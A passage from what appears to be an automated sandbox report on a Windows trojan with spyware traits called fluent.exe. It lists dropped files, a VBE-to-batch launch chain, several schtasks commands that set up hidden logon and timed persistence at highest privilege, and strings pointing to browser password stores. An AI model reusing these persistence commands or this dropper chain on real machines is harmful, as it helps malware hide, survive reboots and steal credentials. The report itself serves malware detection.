Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

PE file has nameless sections

Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_04F26846 NtQueryInformationProcess,GetSystemInfo,

0_2_04F26846

Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Windows\en-GB\51176c96b1e3a4	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP

Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006E848E	0_2_006E848E
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006E40FE	0_2_006E40FE
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F00B7	0_2_006F00B7
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F4088	0_2_006F4088
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F7153	0_2_006F7153
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006E32F7	0_2_006E32F7
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F62CA	0_2_006F62CA
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F43BF	0_2_006F43BF
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006EF461	0_2_006EF461
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006EC426	0_2_006EC426
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006EF4DD	0_2_006EF4DD
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F77EF	0_2_006F77EF
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006E286B	0_2_006E286B
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006EE9B7	0_2_006EE9B7
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F6CDC	0_2_006F6CDC
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006F3E0B	0_2_006F3E0B
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006EEFE2	0_2_006EEFE2
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00704F9A	0_2_00704F9A
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_04F24559	0_2_04F24559
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 5_2_00007FFD9BA90D48	5_2_00007FFD9BA90D48
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 5_2_00007FFD9BA90E43	5_2_00007FFD9BA90E43
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 11_2_00007FFD9BADDBF5	11_2_00007FFD9BADDBF5
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 11_2_00007FFD9BAD1000	11_2_00007FFD9BAD1000
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 11_2_00007FFD9BAA0D48	11_2_00007FFD9BAA0D48
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 13_2_00007FFD9BAA0D48	13_2_00007FFD9BAA0D48
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 13_2_00007FFD9BAA0E43	13_2_00007FFD9BAA0E43
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 35_2_00007FFD9BAB0D48	35_2_00007FFD9BAB0D48
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 35_2_00007FFD9BAB0E43	35_2_00007FFD9BAB0E43
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 36_2_00007FFD9BAD0D48	36_2_00007FFD9BAD0D48
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 36_2_00007FFD9BAD0E43	36_2_00007FFD9BAD0E43
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 38_2_00007FFD9BAC0D48	38_2_00007FFD9BAC0D48
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 38_2_00007FFD9BAC0E43	38_2_00007FFD9BAC0E43
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 39_2_00007FFD9BAA0D48	39_2_00007FFD9BAA0D48
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 39_2_00007FFD9BAA0E43	39_2_00007FFD9BAA0E43
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 39_2_00007FFD9BAB0088	39_2_00007FFD9BAB0088
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 39_2_00007FFD9BAB00D3	39_2_00007FFD9BAB00D3
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 39_2_00007FFD9BAD1000	39_2_00007FFD9BAD1000
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 40_2_00007FFD9BAA0088	40_2_00007FFD9BAA0088
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 40_2_00007FFD9BAA00D3	40_2_00007FFD9BAA00D3
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 40_2_00007FFD9BAC1000	40_2_00007FFD9BAC1000
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 40_2_00007FFD9BA90D48	40_2_00007FFD9BA90D48
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 40_2_00007FFD9BA90E43	40_2_00007FFD9BA90E43
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 42_2_00007FFD9BAC0D48	42_2_00007FFD9BAC0D48
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 42_2_00007FFD9BAC0E43	42_2_00007FFD9BAC0E43
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 42_2_00007FFD9BAF1000	42_2_00007FFD9BAF1000
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 42_2_00007FFD9BAD0088	42_2_00007FFD9BAD0088
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 42_2_00007FFD9BAD00D3	42_2_00007FFD9BAD00D3
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 43_2_00007FFD9BAD0D48	43_2_00007FFD9BAD0D48
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 43_2_00007FFD9BAD0E43	43_2_00007FFD9BAD0E43
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 43_2_00007FFD9BAE0088	43_2_00007FFD9BAE0088
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 43_2_00007FFD9BAE00D3	43_2_00007FFD9BAE00D3
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 43_2_00007FFD9BB01000	43_2_00007FFD9BB01000
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 44_2_00007FFD9BA90D48	44_2_00007FFD9BA90D48
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 44_2_00007FFD9BA90E43	44_2_00007FFD9BA90E43
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 44_2_00007FFD9BAA0088	44_2_00007FFD9BAA0088
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 44_2_00007FFD9BAA00D3	44_2_00007FFD9BAA00D3
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Code function: 44_2_00007FFD9BAC1000	44_2_00007FFD9BAC1000
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 45_2_00007FFD9BAA0D48	45_2_00007FFD9BAA0D48
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 45_2_00007FFD9BAA0E43	45_2_00007FFD9BAA0E43
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 45_2_00007FFD9BAB0088	45_2_00007FFD9BAB0088
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 45_2_00007FFD9BAB00D3	45_2_00007FFD9BAB00D3
Source: C:\comReviewintocommon\driverSavesNet.exe	Code function: 45_2_00007FFD9BAD1000	45_2_00007FFD9BAD1000

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\BKssDYZe.log DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5

Source: C:\Users\user\Desktop\fluent.exe	Code function: String function: 006FEB78 appears 35 times
Source: C:\Users\user\Desktop\fluent.exe	Code function: String function: 0075B264 appears 65 times
Source: C:\Users\user\Desktop\fluent.exe	Code function: String function: 006FEC50 appears 54 times

Source: fluent.exe

Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs fluent.exe

Source: fluent.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: driverSavesNet.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gNKaMdWfDFzDkhEeKzQ.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gNKaMdWfDFzDkhEeKzQ.exe0.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gNKaMdWfDFzDkhEeKzQ.exe1.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gNKaMdWfDFzDkhEeKzQ.exe2.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gNKaMdWfDFzDkhEeKzQ.exe3.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fluent.exe	Static PE information: Section: ZLIB complexity 0.9972848934977578
Source: fluent.exe	Static PE information: Section: ZLIB complexity 0.9950629340277778
Source: fluent.exe	Static PE information: Section: cheat ZLIB complexity 0.9973327041576381

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@51/50@1/1

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_008C496C GetDiskFreeSpaceExA,

0_2_008C496C

Source: C:\comReviewintocommon\driverSavesNet.exe

File created: C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Jump to behavior

Source: C:\comReviewintocommon\driverSavesNet.exe

File created: C:\Users\user\Desktop\maBeiKPb.log

Jump to behavior

Source: C:\comReviewintocommon\driverSavesNet.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7804:120:WilError_03
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-nFpPmKPxGrafksepcKtY

Source: C:\comReviewintocommon\driverSavesNet.exe

File created: C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comReviewintocommon\YnzAdQrUUt8.bat" "

Source: C:\Users\user\Desktop\fluent.exe	Command line argument: sfxname	0_2_006FDF1E
Source: C:\Users\user\Desktop\fluent.exe	Command line argument: sfxstime	0_2_006FDF1E
Source: C:\Users\user\Desktop\fluent.exe	Command line argument: STARTDLG	0_2_006FDF1E
Source: C:\Users\user\Desktop\fluent.exe	Command line argument: xzs	0_2_006FDF1E

Source: C:\Users\user\Desktop\fluent.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: fluent.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\fluent.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5EzibTfeO3.11.dr, n2DjPAUNS5.11.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: fluent.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\fluent.exe

File read: C:\Users\user\Desktop\fluent.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fluent.exe "C:\Users\user\Desktop\fluent.exe"
Source: C:\Users\user\Desktop\fluent.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comReviewintocommon\YnzAdQrUUt8.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\comReviewintocommon\driverSavesNet.exe "C:\comReviewintocommon/driverSavesNet.exe"
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD287.tmp" "c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 13 /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 14 /tr "'C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 14 /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQ" /sc ONLOGON /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 10 /tr "'C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "driverSavesNetd" /sc MINUTE /mo 11 /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "driverSavesNet" /sc ONLOGON /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "driverSavesNetd" /sc MINUTE /mo 9 /tr "'C:\comReviewintocommon\driverSavesNet.exe'" /rl HIGHEST /f
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: unknown	Process created: C:\comReviewintocommon\driverSavesNet.exe C:\comReviewintocommon\driverSavesNet.exe
Source: unknown	Process created: C:\comReviewintocommon\driverSavesNet.exe C:\comReviewintocommon\driverSavesNet.exe
Source: unknown	Process created: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe "C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe"
Source: unknown	Process created: C:\comReviewintocommon\driverSavesNet.exe "C:\comReviewintocommon\driverSavesNet.exe"
Source: unknown	Process created: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
